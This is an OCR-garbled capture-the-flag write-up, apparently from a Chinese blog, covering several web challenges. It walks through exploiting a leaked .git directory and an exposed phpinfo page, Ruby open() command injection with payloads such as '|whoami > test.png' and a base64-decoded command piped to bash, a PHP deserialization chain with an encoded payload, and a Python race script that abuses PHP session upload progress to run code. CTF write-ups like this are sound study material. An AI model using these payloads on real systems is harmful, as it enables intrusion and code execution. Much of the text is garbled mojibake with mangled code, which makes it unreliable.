B=JE S LA RN % 2K 3R -1 K3 -H 5 Writeup

K H F 2021-09-17 03:47:18 KA 1071 W 5

R CTE_WEB_Writeup SCERA: 2= 8% [0 MK 242K

FRALE B ASCRE ERAICE, #IE_CC 4.0 BY-SA RN, HEFM BRSO s A S,
3 EEHE: https://blog.csdn.net/mochu7777777/article/details/120339790

FERAL

¥

CTF_WEB_Writeu EUNS A
159 F3CE 31 W
BB

XEHZ
MISC
%3
WEB

WebFTP
PNGE i # #eas
pklovecloud
EasyCleanup

yet_another_mysql_injection

MISC

3


https://mochu.blog.csdn.net
https://blog.csdn.net/mochu7777777/category_9758354.html
https://so.csdn.net/so/search/s.do?q=%25E7%25AC%25AC%25E4%25B8%2589%25E5%25B1%258A%25E7%25AC%25AC%25E4%25BA%2594%25E7%25A9%25BA%25E9%2597%25B4%25E7%25BD%2591%25E7%25BB%259C%25E5%25AE%2589%25E5%2585%25A8%25E5%25A4%25A7%25E8%25B5%259B&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/mochu7777777/article/details/120339790
https://blog.csdn.net/mochu7777777/category_9758354.html

flagfwelcometo5space}

SIE N Rl FERRNE 1

CSDN @z %]

flag{welcometo5space}

WebFTP

hitp:/114.115.185.167-32770/
SR rads MR 1

CSDN @7 #]

H s H R M oititt 5

Di ch
S D:4Tools\Web'\Web_Path_Scaneridirsearch? python . ‘\dirsearch.pyv php, html, zip

Extensions: php, html, zip | HTTP method: GET | Threads: 20 | Wordlist size: 9798
Error Log: D:4ToolsiWeb'Web_Path Scaner‘dirsearchhlogs'errors-21-09-16_23-26-18. log
arget: http://114. 115, 185, 167:32770/
File: D:\Tools'\Web\Web_Path_Scaneridirsearchireportsi114. 115, 185, 167\ _21-08-16_23-26-19. txt

:19] Starting:
1221 301 - 3268 fogit -» http://1140 1160185, 167:32770/. git/ (Added to queue)

1221 200 - 2038 /ogitfeonfig
(Added to queue)

J {Added to queue)
DZZ] 200 238 . git/HEAD
122] 200 73R cgit/description
(22] 200 32EB Lgit/index
1221 200 2408 cgitfinfo/exclude
J {Added to queue)
1200 1658 .git/logs/HEAD
1200 1698 .git/logs/refs/heads/master
1 301 3445 .git/logs/refs/remotes -» http://114. 115, 185, 167:32770/. git/logs/refs/remotes/ (4dded to queue)
1 a0l 3428 Lgit/logs/refs/heads -» http:// 114 115, 185, 16732770/, git/logs/refs/heads/ {fdded to queue)
1 301 336E .gitflogs/refs -» http://114. 1150 185 16732770/, git/logs/refs/ {Added to queue)
1 301 3E1B Lgitfloge/refs/remotes/origin  -» http:/ /114 115, 185, 167:32770/. git/loge/refs/remotes/ origin/ (4dded to queus)
1 200 1698 .git/logs/refs/remotes/origin/HEAD
(Added to aueus)

200 1140 . git/packed-refs
301 337B .gitfrefe/heads -» http://114. 115, 185 167:32770/. git/refe/heads/ (added to cueus)
{Added to queue)
1301 339B .git/refs/remotes -> http://114 115, 185, 167:32770/. git/refs/remotes/ (Added to queue)
1200 41B .git/refs/heads/master
1 301 3468 .git/refs/remotes/origin -> http://114. 115, 185, 167:32770/. git/refs/remotes/origin/ (dded to queue)
1 a0l 336B Lgitfrefsi/tags -» http://1140 1160 185, 1AT:32770/. git/refs/tags/ {4dded to queue) @
1 200 326 .git/refs/remotes/origin/HEAD CSDN @7 %))




403 Forbidden x -+

O & 114.115.185.167

Forbidden

You don't have permission to access this resource.

rer at 11

f# F GitHack Z23iE JEACHY

Y PowerShal

PS D:\Tools\Web\GitHack> python2 .\GitHack.py http://114.115.185.167:32778/.git/
[+] Download and parse index file ...
Api-back.php

Api.php

Config.php

Config.php.bak
Data/Public/nothumb. jpg
Data/Public/nothumb.png
Data/User/21232f297a57a5a7u389Uafela801fc3. php
Inc/Auth.class.php
Inc/Chmod.conf.php
Inc/Cookie.class.php
Inc/File.class.php

Inc/Functions.php
Inc/PclZip.class.php
Inc/Session.class.php
Inc/Thumb.class.php

Init.php

Readme/about.html

Readme/help.html

Readme/index.html
Readme/license.html

Readme/mytz.php

Readme/readme.txt
Static/css/edit.css
Static/css/fileico.css
Static/css/main.css
Static/ecss/style.css

RITCIEIE RIEAHS, BRI T LA LIERE U 0, Ead s AE ARMAX N RE:  /Readme/mytz. php

D & 114.115.185.167




ToiRIB YRR, (HRATEVFA /.git/config BRI T RIS LEgithub kT B

114,115.185.167:32770/.gitfcon’ X +

<_

[core]

[remcte

[branch

T, #MRIIERRIMFATHAKR. EFRE,

e O R 114.115.185.167:32770/.git/conflg

repositoryformatversion = 0
filemode = false

bare = fal=ze
logallrefupdates = true
symlinks = false

ignorecase = true
"origin™]

url = git://github.com/wifeat/WebFIF

fetch = +refs/heads/*:refs/remotes/origin/~

"master"]

remote = origin

merge = refs/heads/mascer
o A = &7
SN '!'I/ zl.

EREEFLE A phpinfoBE —BEAKER



R T EHphpinfoll i %

H causers D P-master\Read php (WebFTP-master) - Sublime Text (UNREGISTERED) - X
File Edit Selection Find View Goto Tools Project Preferences Help

FOLDERS B myzpmp
v ‘WebFTP-master
i $phpSelf = $ SERVER['PHP_SELF'] SERVER[ 'PHP_SELF'] : $_SERVER['SCRIPT NAME'];
0 ettt ("PHPSELF', (0,}2\/+)/"', '', $phpSelf));
L e $PHPSELF = PHPSELF;
[ 21232f297a5725a743804a0e4a8( ime start =
>0 inc -
v Readme
® ] _POST[ 'pInt'])
> helphimi q ! .
o : RS plrleEie 1))
<> licensetmi _POST[ 'pIo']))
[ mytzphp 9 g q
= readmetat
» B statc
'anm o ('ionCube Loader');
R ("ffmpeg");
[ Configphe i ("imagick");
[ Configphpbak
O indexphp
03 ntshe i GET['act']) GET['act'] == '[iotNse ){
= readm. i o
< READM'?md ‘7‘();
1 upload.swf exit( ) 8
}elseif( POST[ 'act']) && $_POST['act'] "TEST_1"){
$vallnt 3
}elseif( POST[ 'act']) && $_POST[ 'act'] "TEST_2"){
}elseif( _POST[ "act'] "TEST_3"){
$vallo
_POST['act'] == "FE#EMysQL' ) {
($_POST[ 'mysqlHost'], $_POST[ 'mysqlUser'], $_POST['mysqlPassword
HEHEIEFE</font>, ":
KK </font>, ';
$ . sglDb’
K Aa e (= 81 O phpin'F0| Find Find Prev Find All 2
[ 1076 matcnes ap sz=a CODN @5E 7

EFEphpinfolit, ZiXik T A EH KilagE A 5HEEKF LN & iflag

PHP 7.4.22 - phpinfol) x|+
« G O R 114115.185.167:32770/Readme/mytz php?act=phpinfo
| Directive Local Value Master Value
Additional Modules
‘ Module Name
Environment
‘Variable Value

HOSTNAME 293ae54feTfc

PHP_VERSION 7422

APACHE CONFDIR [etc/apache2

PHP_INI_DIR Jusr/local/etc/php

GPG_KEYS 42670A7FE4D0441CBE4632349E4FDCO74A4EFO2D 5A52880781F755608BF815FCI10DEB46F33EA312
PHP_LDFLAGS -WI,-O1 -pie

PWD [van/wowrwfhtonl

APACHE LOG DIR /var/log/apache2

LANG C

PHP_SHA256 68297 bde8

FLAG g28F28EPTjRoxM9sNBDEMS3ZPulPXLEA}

APACHE PID FILE [varfrun/apache2/apache2.pid

PHPIZE DEPS autoconf dpkg-dev file g++ gee libe-dev make pkg-config re2e

PHP_URL httpsi//www.php.net/distributions/php-7.4.22 tarxz

APACHE RUN_GROUP www-data

APACHE LOCK DIR /var/lock/apache2

PHP_EXTRA_CONFIGURE_ARGS --with-apxs2 --disable-cgi

SHLVL ']

PHP_CFLAGS -fstack-protector-strong -fpic fpie -O2 -D_LARGEFILE_SOURCE -D_FILE OFFSET BITS=64
APACHE RUN DIR [var/run/apache2

APACHE ENVVARS /etc/apache2/envvars

APACHE RUN_USER www-data

PATH /l I/bi i i in:/bi

PHP_EXTRA_BUILD DEPS apache2-dev

PHP_ASC URL hitp: h istributi hp-7.4.22.%

PHP_CPPFLAGS -fstack-protector-strong -fpic -fpie -02 -D_LARGEFILE_SOURCE -D_FILE OFFSET BITS=64

PHP Variables
5 ==
flag ~ v mRed) [ BEsadS© [ EsEase [ EREewW 818, 5555 2 A0eR

PNGHE v ¥ #4%

- X
& & o @ =
CSDN @38 3



PNGEI R &R

hitp//114.115.128 21532770/

SHE: rads MR 1

CSDN @z ]

rubyHIJRAR G



post do

unless params|[:file] params|[:file][:tempfile] params[:file][:filename] params[:file][:filename].split
)[-1]
return

end

begin
filename Digest: :MD5.hexdigest( .now.to_i.to_s params[:file][:filename])
open(filename, ) { |f

f.write open(params[:file][:tempfile], ).read()

rescue
end
end

get
open(
end

post do
begin
unless params|
return

end

file params [

unless file.index( nil file.index( nil file /~(.+)\.png$/
return

end

res open(file, ).read()

headers

Base64.encodeb4(res).gsub(
/\s*/,

FEsSEUE

end
end

RFAF AR R R —1T

res = open(file, ).read()

2% https://vulhub.org/#/environments/ruby/CVE-2017-17405/



https://vulhub.org/#/environments/ruby/CVE-2017-17405/

XEMEHT open() RECRITH A#ZH] file SEUENIISUME4 . TirubyH ) open() BREREH RG4S RIT A, HEHAE
& shell 74F, SEAM P EHICHELAKERT, BTUENMERHGS.

TS 2% open() PUTILSE KIS Rbase64 G /EiREl, L file ZHALH L UEMLALL . png HREKIBR S Bl FIHiE

file=|whoami > test.png

114.115.128.215:32770/convert X 114.115.128.215:32770/convert X +

< - & O 8 114.115.128.215:32770/convert

var img = document.createElement("img"); img.src= "dataiimage/png;base64,”;

e DEtE N EE () EtssE O s

Encryption ~ Encoding ~ SQL ~ XS5~ Other -
@ Load URL http://114.115.128 215:32770/convert
gg Split URL
» ) Execute

Postdata [] Referer [] User Agent [J] Cookies Clear All

file=|whoami = test.png

114.115.128.215:32770/convert X 114.115.128.215:32770/convert X -+
« G O & 114.115.128.215:32770/convert

var img = document.createElement("img"); img.src= "dataiimage/png;base64,dGVzdAo=";

DiEgE NEE (s O ORE i IS BEE HackBar

Encryption ~ Encoding ~ SQL~ XSS~ Other -
& Load URL http://114.115.128 215:32770/convert
gg Split URL

Execute
: Postdata [] Referer [] User Agent [J] Cookies Clear All

file=test.png CS5DN @zf 4/

Recipe B e

Input

dGvzdAo=
From Basebd

Alphabet
-



A-La-Zu-2+f=

™ Remove non-alphabet chars

Output

Test

rc (@ *
4L & A

IR A something wrong » W] PAZRZ 4T JLIK.

BTkt .../ BA, HERHbase644midsiid

XOYSAV" |base64 -d|bash > test.png

114.115.128.215:32770/convert X | 114.115.128.215:32770/convert X | + - s

& @ O 8 114.115.128.215:32770/convert & & 0@ ®» & & @

var img = document.createElement(*img"); img.src=
"data:image/png;base64,dG90YWwgODRLCmRyd3hyLXhyLXggICAxIHIvb3QgcmOvdCAOLjBLIFNIcCAXNIAXNDoyNCAUCmMRyd3hyLXhyLXgglCAxIHJvb3Qgecm9IvdCAOLjBLIFNIcCAXNiAXNDoyNCAuLgotend4ci14ci 141CAgMSByb290IHIvb 3QgICAGMCBTZX/

HackBar
Encoding ~ XSS - Other ~ Contribute now! HackBar v2
@ Load URL hitp://114.115.128.215:32770/convert
§ seliturRL
4
Execut
Ot Postdata [ Referer [ UserAgent [ Cookies  Clear Al

file=test png - -
CSDN @3k ¥l



. = length: 1564 =
Recipe ol 3 Input i;ies: 1 + Oz 8

® u hGQEYngODRL(mRyd}hyL)(hyLngI(AxIHvaSQg(mgvd(ABLjELIFNI(CAxNiAxNDuyNCAquRdehyLthLngICAXIH]\*b}Qg(mQudCABLjBLIFN]((AxNiA

[ xNDoyNCAuLgotcnddcildcil4ICAgMSByb298THIvh3QgICAgMCBTZXAGMTYEMTQEMQgLmRYY 2t lemVudgotcnddenctenctICAgMSBYb296THIvb3IQeICAZOC

R BBdlcgMiAgMDIGNDUgRKXBOVE6QULCaGIKbVA TWD1SVWNUUERY TApkcnddcildci 14ICAGMSEYb 2B TIHIvb3QENCAWSYBTZXAGMTYEMTQEM Qg Y XBUC Ry d3hy L

A-Za-zB-9+/= - XhyLXggICAXIHIvb3QgemovdCABLIBLIFNLcCAXNSAWMZOWNCBiaWakKZHI3eHI teHI teCAgIDIgemOvdCByb290IDQuUMES QX By IDEWIDIWCJEIIGIVb2QKZHI 2
eHIteHTteCAgIDUgCmOvdCByb29RTCAZNDAZU2VWIDE2IDEBOITOTGR] dgpkenddcilaci 14ICAEMSByb298 THI vb3QgNCANSyBT ZXAgMTYgMTQ6MQgZXRICmR
yd3hyLXhyLXggTCAXTHIvb3QgemavdCA@L JBLIFN1cCAXNSAnMzowNSBob211CmRyd3hy LXhy LXgg ICAXTHIvb3QgemovdCABLJBLIFN1 cCAxXNSAWMZowMCB sali
Remove non-alphabet chars IKZHI3eHIteHIteCAgIDIgCmIvdCByb298IDQUMESgU2VWICAYIDANOIAWIGXKPY jY@CmRyd3hy LXhy LXggICAYIHIvb3QgcmavdCAeL JBLIFN1cCAgMiAwMDoviM
CBtZWRpYQpkcnd4cildcil4ICAgMiByb298IHIvb3QgNCAuSyBTZXAgIDIgMDAGMDAEbWSBCTRY d2hyLXhyLXggICAY IHIvb3QgcmovdCABL JBLIFNLcCAgMiAw
MDowMCBYCHQKZHI teHI teHI teCAyMTMgcmSvdCByb298ICAgIDAgU2VWIDE2IDEAO] IBIHBYb2MKZHI3eCOtLSOTLSAgIDEgemOvdCByb29@ IDQUMES gU2VIWIDE
1IDAZOjAWTIHIVb3QKZHI3eHT teHI teCAgIDMgcmIvdCByb29@IDQUME s gU2VWI CAY TDAWD jAWTHI 1bgpkcnd4cildci14TCAgMSBYb20aTHIVb3QgNCAWSYBTZX
AgMTUGMDMBMDOge2 Ipbgpkendacilaci14TCAgHiByb20BTHIvb30gNCASYBTZXAgIDIgMDAGMDAGE 31 2CmRy LXhy L Xhy L Xgg IDEz THIvb30gemovdCAgTCAWT
FN1CCAXNiAWMTO1NYBzeXMKZHI3eH]3eH]3dCAgIDEgCmIvdCByb29@IDQUMESgU2VWIDE2IDE20MzIHRtcApkend4cilacil4ICAgMSBYb220IHIVD2QgNCAW
SyBTZXAgIDIgMDAGMDAgdXNyCmRyd 3hy LXhy L XggICAXTHIvb3QgemavdCAGLBLIFNI cCAgMIAWMDOWMCB2YXTK

ams

Output ) B0® i

total 84K
druwxr-xr-x root root 4.8K Sep 16 14:24 .

root root 4.8K Sep 16 14:24 ..

root root © Sep 16 14:24 .dockerenv

root root 38 Aug 2@ ©2:45 FLA9 zAIBhoImWSXSRUCNPDrL
root root 4.0K Sep 16 14:24 app

root root 4.eK Sep 15 @3:084 bin

root root 4.8K Apr 1@ 20:15 boot

root root 340 Sep 16 14:24 dev

druxr-xr-x
SPWXP-Xr-X
-PWXIW-Phi-

n

drwxr-xr-x
druxr-xr-x
druxr-xr-x
drwxr-xr-x

[ R N R e L T SR S

drwxr-xr-x root root 4.0K Sep 16 14:24 etc

druxr-xr-x root root 4.eK Sep 15 @3:85 home

druxr-xr-x root root 4.8K Sep 15 @3:8@ lib A
drwxr-xr-x root root 4.8K Sep 2 00:8¢ libs4

drwxr-xr-x root root 4.8K Sep 2 00:0¢ media

druwxr-xr-x root root 4.8K Sep 2 08:8@ mnt

drwxr-xr-x root root 4.8K Sep 2 @@:0@ opt

dr-xr-xr-x 213 root root @ Sep 16 14:24 proc
root root 4.8K Sep 15 ©3:6@ root
druwxr-xr-x root root 4.8K Sep 2 08:8@ run

rcp
utoliake drwxr-xr-x root root 4.0K Sep 15 ©3:84 shin -

a
2
2
I
i
-

STEP L. BAKE!

w

[

base64 -d|bash > test.p




114.115.128.215:32770/convert X 114.115.128.215:32770/convert X ar

< - @ O 8B 114115.128.215:327

var img = document.createElement(*img"); img.src= "data:image/png;base64,ZmxhZ3tUdmF1eTM2dkUwTXd0OVdZT1pWT11zZGxOVDIKVGIYNHO=";

HackBar

Encryption ~ Encoding ~ SQL ~ XS5~ Other ~
@ Load URL hitp://114.115.128_215:32770/convert
1 splitURL

Execute
: Postdata [] Referer [] User Agent [] Cookies Clear All

file=test.png | B
_ED W3R
Recipe Am 3 Input
ImxhZ3tUdmF1eTM2dkUnTXd@0VdZT1plT1IzZGXOVD1KVG1VNHES]
From Baseb4
A-Za-z0-9+/= N
Remove non-alphabet chars
Qutput
flag{Tvauy3BvEBMWTONYOZVORIAINTSITiX4}
CSDN @78

pklovecloud

pklovecloud

hiip/I122 112.141.64:45852/

SIE N Rl FERRNE 1




class pkshow
{

function echo_name()

{

return

class acp
{
protected $cinder;
public $neutron;
public $nova;
function _ construct()
{
$this->cinder new pkshow;
b
function _ toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();

class ace
i
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron $this->openstack
{
$file {$this->filename}";
if (file_get contents($file))
{
return file get contents($file);
)i

else

{

if (isset($_GET[ )

{
$logData unserialize($ _GET[

echo $logData;

}

else

{
highlight_file(__file_ );




R RFIIL, TEESTHRERNNSMERENERX S, AEBAILIER

protected $cinder;
public $neutron;
public $nova;
function _ construct($i)
{
if($i 1)
{
$this->cinder = new ace();
}else{

return $i;

class ace

{
public $filename
public $openstack;
public $docker;
function _ construct()

{

$this->docker serialize(new acp(9));

$res new acp(l);
echo urlencode(serialize($res));

0%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3B0%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs
%63A9%3A%22%2Fflag.php%22%3Bs%3A9%3A%220penstack%22%3BN%3Bs%3A6%3A%22docker%22%3Bs%3A61%3A%220%3A3%3A%22acp%22%3A
3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BN%3Bs%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D%22%3B%7Ds%3A
7%3A%22neutron’%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D

64:45852/7pks: P A%00cinder”%:

‘flag {fXM75u5IqcaBwdlibN4DOpHE Gnyi} ;
=" asdwelg648798qwe321d65" ;

EasyCleanup




EasyCleanup

we will not cleanup fill die
hitp:/1114.115.134.72:32770/

SIE N Rl FERRNE 1

CSDN @< %]

php

if(!isset($ _GET[ 1)){
highlight file(__ file );
telse if($_GET[ ] )
$shell = $ GET[ ] 5
if(strlen($shell) 15 | filter($shell) checkNums ($shell)) exit(
eval($shell);

if(isset($_GET[ )H){
if(strlen($ GET[ D) 15 | filter($_GET[
include $ GET] 1Is

function filter($var): bool{
$banned [ 5

foreach($banned as $ban){

if(strstr($var, $ban)) return True;

return False;

function checkNums($var): bool{

$alphanum

$cnt 9;

for($i = 0; $i strlen($alphanum); $i++){

for($j 9; $j strlen($var); $j++){
if($var[$j] $alphanum[$i]){

$cnt il g
if($cnt > 8) return True;

return False;

FIBELF(2?)




MAERE 2shell , W 2shell MMENHWENE: HEARE, W 2shell=phpinfo();
B THIRRY, AR RO B E A & AT ML R TR AT Y -

o« BREFEATETIS

o BFMFRETFRABAEKTETSK
nb— filter() HLIE, XBEEARTIELI 2shell Har & PAT

RAEBFE include $_GET['file']l; ,» BIXMHAE, BRE filter() MKEHIMRE], {HREBHERE O CheckNums() ; M ELA TR
fil—4 phpinfo. Z&H—F session.upload_progress , BRINERRFFEII. FFHiX Bt b3 E KsessionsUH#& A F 8 B3l
V&Y (session.upload_progress.cleanup==0ff) , &kHFEFEHAHMT -

session.ge_divisor 1000 1000
session.gc_maxlifetime 1440 1440
session.gc_probability 0 0
session.lazy write On On
session.name PHPSESSID PHPSESSID
session.referer_check no value no value
session.save_handler files files
session.save _path no value no value
session.serialize_handler php php
session.sid_bits per_character 4 4
session.sid_length 32 32
session.upload_progress.cleanup Off Off

ion.upload prog| bled On On
session.upload progress.freq 1% 1%

i pload_prog min_freq 1 1
session.upload_progress.name PHP_SESSION_UPLOAD PROGRESS PHP_SESSION_UPLOAD _PROGRESS
session.upload_progress.prefix upload_progress_ upload_progress_
session.use_cookies 1 1
session.use_only cookies 1 1
session.use_strict_mode 0 0
session.use_trans_sid 0 0 CSDMN @3 )

BB session.save_path , HisesionM izt RERNRENME: /tmp/sess_xxx
HEM LI session upload progress KIBIAEIT], MMS— Foiee BT



io.BytesIO(

def writeshell(session):

while True:
resp requests.post(url=myurl, data=writedata, files={ : , myfile)}, cookies=mycookie

def getshell(session):
while True:
payload_url myurl sessid
resp = requests.get(url=payload url)
if in resp.text:
print(resp.text)
break
else:

pass

if _ _name__
session requests.session()
writeshell = threading.Thread(target=writeshell, args=(session,))
writeshell.daemon True
writeshell.start()
getshell(session)




B¥ powershell x + v - X

pan><span style="color: #887766">(</span><span style="color: #8886BB">$_GET</span><span style="color: #887768">[</span><span style="color: #DDB8BA">'file'</span><span style="color: #887768">]))&nbsp;exit(</spa
<br />function&nbsp;</span><span style="color: #8886BB">filter</span><span style="color: #807700">(</span><span sty'l.e’"co'l.or #OOOOBB">$var</span><span style="color: #867788">):&nbsp;</span><span style="color:
<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #8608BB">$banned&nbsp;</span><span style='"color 3 8 while"</span><span style="color: #887766">,&nbs|
</span><span style="color: #DDO@E@" or"</span><span style="color: #0807700">, &nbsp;</span><span style: _ " >, &nbsp;</span><span style="color i
ude"</span><span style="color: #8677080">,&nbsp;</span><span styl #DDEBBA">"env"</span><span styl color N equire"</span><span styl : #0770
8">,&nbsp;</span><span style="color: #DD86GE "</span><span style: : #BO7700">,&nbsp;</span><span styl : #DDBOER"> #DDBEBO"
>nanc/span><span style="color: #887786">,&nbsp;</span><span style="color: #DDBBBE">"+"</span><span styl : &nbsp;</span><span : color: #807760"
p;</span><span style="color: #DD@eee" </span><span style="color: #8@770@">, &nbsp;</span><span style g </span><span style="color: #@0770">, &nbsp;</span><span style="color: #DD88®
<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #8EMEBB">strstr</span><span style='"color: #887700">(</span><span style="color: #8@88BB">$var</span><span style="color: #80770
i</span><span style lor: ">checkNums</span><span style="color: #007700">(</span><span style="color: #©880BB">$var</span><span style="color: #08@7700">):&nbsp;</span><span style: ol
<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span styl color: #8008BB">$alphanum&nbs /span><span style: lor: #007700">=&nbsp;</span><span style="color: #DDE@EA@">'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJIKL
olor: #BBBBBB">$i&nbsp;</span><span style="color: #807700">=&nbsp;</span><span style: : #0B8OOBB">8</span><span style="color: #8087780">;&nbsp;</span><
color: #887788">&lt;&nbsp;</span><span style="color: #B888OBBE">strlen</span><span style="color: #887788">(</span><span style="color: #B8886BB">$alphanun</s
<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for(</span><span style="color: #8006BB">$j&nbsp;</span><span style="color: #867780">=&nbsp;</span><span style="col #0080BB">8</span><span style="color:
#807768">; &nbsp;</span><span style="color: #86@6BB">$j&nbsp;</span><span style="color: #8@87780">&lt;&nbsp;</span><span style="color: #80@6BB">strlen</span><span style="color: #88770@">(</span><span style="colo
<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp H H H H H H f(</span><span style="color: #0000BB">$var</span><span style="color: #8077080">[</span><span styl #0000BB">$j</span><span
<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp b: H </span><span style="color: #B8000BB">$cnt&nbsp;</span><span style="col </span><span styl
<br />&nbsp;&nbsp;&nbsp;&nbsp H p H H H if(</span><span style="color: #8888BB">$cnt&nbsp;</span><span style: ">&gt;&nbsp;</span><span
<br /></span><span style="color: #8888BB">?&gt;</span> style="color: #8668BB color: #887768">;</span><span style="color: #887768">;
</span>
</code>upluad progress_uid=33(www-data) gid=33(www-data) groups=33(www-data)
H i 14 1 275;s:4:"done" i H : 4:vfi H'H 110: "mochu?. tx :8:"tmp_name";s
ytes_| processe
ontent_ Iengt o ;51 files" 7:{ ield_ 3 g :18:"mochu?. txt";s:8: "tmp_name"
done”;b:1;s:10
drwxr-xr-x
druxr-xr-x
—TWXT—XT—X dockerenv
bin
boot
dev
etc
flag_is_here_not_are_but_you_find
home
lib
libel
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var
ontent_length" o 6U26;5:4: "done s 878 g L a:rfiler;s: :10:"mochu?. txt";s:8:"tmp_name"
B done";b:1;s:10: _ti B ;5:15:"bytes_processed B
PS D: \Pytnon\nycodeF11e> | CSDN @5 3

drwxr-xr-:
e
drwxr-xr-:

drwxr-xr-:
drwxr-xr-:
dr-xr-xr-:

=
9]
FHUHENHEREREENNNNRNREREON R B R

drwxr-xr-:
~TWXT-Xr-;
dr-xr-xr-:

"

"

B Powershell x + v = X

PS D:\Python\MyCodeFile> python .\exp.py
<code><span style="color: #000000'
<br /></span><span style="color: #80770 if(!isset(</span><span style="color: #8000BB">$_GET</span><span style='"color: #8087700">[</span><span style="color: "mode’'</span><span style="color: #867760">]
<br />}else&nbsp;if(</span><span style: : ">$_GET</span><span style="color: #087780">[</span><span style="color: #DD868A">'mode’</span><span styl. : #807760">]&nbsp;==&nbsp;</span><span style
/span><span style="color: #B887780">=&nbsp;</span><span style="color: #B888BBB">$_GET</span><span style="color: #887788">[</span><sp
<br />&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span styl : #800BBB">strlen</span><span style="color: #087768">(</span><span style="color: #B8888BB">$shell</span><span style="color: #887788">)&nbsp;&gt;&nbsp;</
span><span style="color: #8688BB">15&nbsp;</span><span style="color: #867786">|&nbsp;</span><span style="color: #86@eBB">filter</span><span style="color: #867788">(</span><span style="color: #8088BB">$shell</s
pan><span style="color: #B@7768">)&nbsp;|&nbsp;</span><span style="color: #8886BB">checkNums</span><span style="color: #887760">(</span><span style="color: #8888BB">$shell</span><span style="color: #867768">))
<br />&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #00@8BB">strlen</span><span style: (=/span><span style="color: #0000BB">$_GET</span><span style="color: #807780">[</span><span style=
"color: #DDO@EA">'file'</span><span style="color: #8@7706">])&nbsp;&gt;&nbsp;</span><span styli #000OBB">15&nbsp;</span><span style="color: #807700">|&nbsp;</span><span style="color: #08000BB">filter</s
pan><span style="color: #887766">(</span><span style="color: #8868BB">$_GET</span><span style: #0087780">[</span><span style="color: #DD88B8">'file'</span><span style="color: #887768">]1))&nbsp;exit(</spa
<br />function&nbsp;</span><span style="color: #8886BB">filter</span><span style="color: #B887786">(</span><span style="color: 5 ):&nbsp;</span><span style=
<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #8868BB">$bannedsnbsp;</span><span style="color: #607708
</span><span style="color: #DD860E">"for"</span><span style="color: #887700">, &nbsp;</span><span style="color:
ude"</span><span style="color: #867760">, &nbsp;</span><span style="color: #DDBB®">"env"</span><span style="color: . 8 g equire"</span><span style="color: #88776
@">, &nbsp;</span><span styl color: #DDeeee olor: #007700">, &nbsp;</span><span styl B 2 >,&nbsp;</span><span style: olor: #DDEEee"
suane/span><span style="color: : #DDBOEE">"+ : : /span><span style="color:
p;</span><span style="color: #DD88@E" color: #867708">,&nbs color: #887780">,&nbsp;</span><span style="color:
<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span styl #007760">(</span><span style="color: #8888BB">$var</span><span styl #080770
<br />function&nbsp;</span><span style="color: 8 nae77ae->(</span><span style="color: #B088BB">$var</span><span style="color: #8@7788">):&nbsp;</span><span style="col
<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span styl B : L #007700">=&nbsp; </span><span style="color: #DDB@ea@">"abcdefghijklmnopqrstuvwxyza123u56789ABCDEFGHIIKL
. olor: #B87760">=&nbsp;</span><span style="color: #8888BB">8</span><span style="color: #887788">;&nbsp;</span><
1 #007700">&1t;&nbspY color: #800@BB">strlen</span><span style="color: n907790">(</span><span style="color: #8008BB">$alphanun</s
or(</span><span style: y'>$ </span><spah style="colo L} b: 1 #0000BB">0</span><span style="color:
#087780">;8nbsp;</span><span style : #BBABBB">$j&nbsp;</span><span style : : : : olor: #087788">(</span><span style="colo
<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs, #807788">[</span><span style="color: #B8888BB">3j</span><span
<br />snbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp : /span><span style="col </span><span styl
<br />&nbsp;&nbsp; &nbsp; &nbsp,&nbsp,&nbsp,&nbsp,&nbsp,&nbsp,&nbsp,&nbsp,&nbsp,&nbsp,snbsp,snbsp,&nbsp 8 M)E)!)E)BE">$cnt&nbspl</Span><span style
<br /></span><span style="color: #0000BB">?&gt;</span> style="color: #80080BB">False</span><span styli H color: #007700">;
</span>
</cor|e>uploarl progress {Lag{Bb3sace'7BBH'IESBsaeBblelﬁcllSlﬁla}\ : start_time" bytes_processed"
& 1 'tmp/phpM301z0" i _ti 1:1631815586;5:15

PS D: Pythun\HyCudeFlle> |

CSDN @3k ]

WR—A sess_id 7T T JLIRE A RIFT, BIIRA sess_id T



yet_another_mysql_injection

You will see

http-/114.115.143 2532770/

SIE N Rl FERRNE 1

sati X | hitpy//114115.1432532770find: X+

g
[«
©
@
&
*
@

n

< C O R 114.115.143.25:32770/indexphp

LOGIN AS ADMIN!

& FEASNEPS

b Ee e

BRI RIS

SaLi * http://114.115.143.25:32770/inc- X -+

™ & view-source:http://114.115.143.25:32770/index.php

<!—— source code here: /Psource ——>

<html><head><meta http-equiv="Content-Type” content="text/html; charset=UIFrE" >~ 7/



<?php

include_once( );

function alertMes($mes,$url){
die( {$mes}

function checkSql($s) {
if(preg_match(

»$8) )1
alertMes( 5

if (isset($ _POST[ isset($_POST[ 1 $ POST[
) {
$username=$ POST[
$password=$ POST[
if ($username
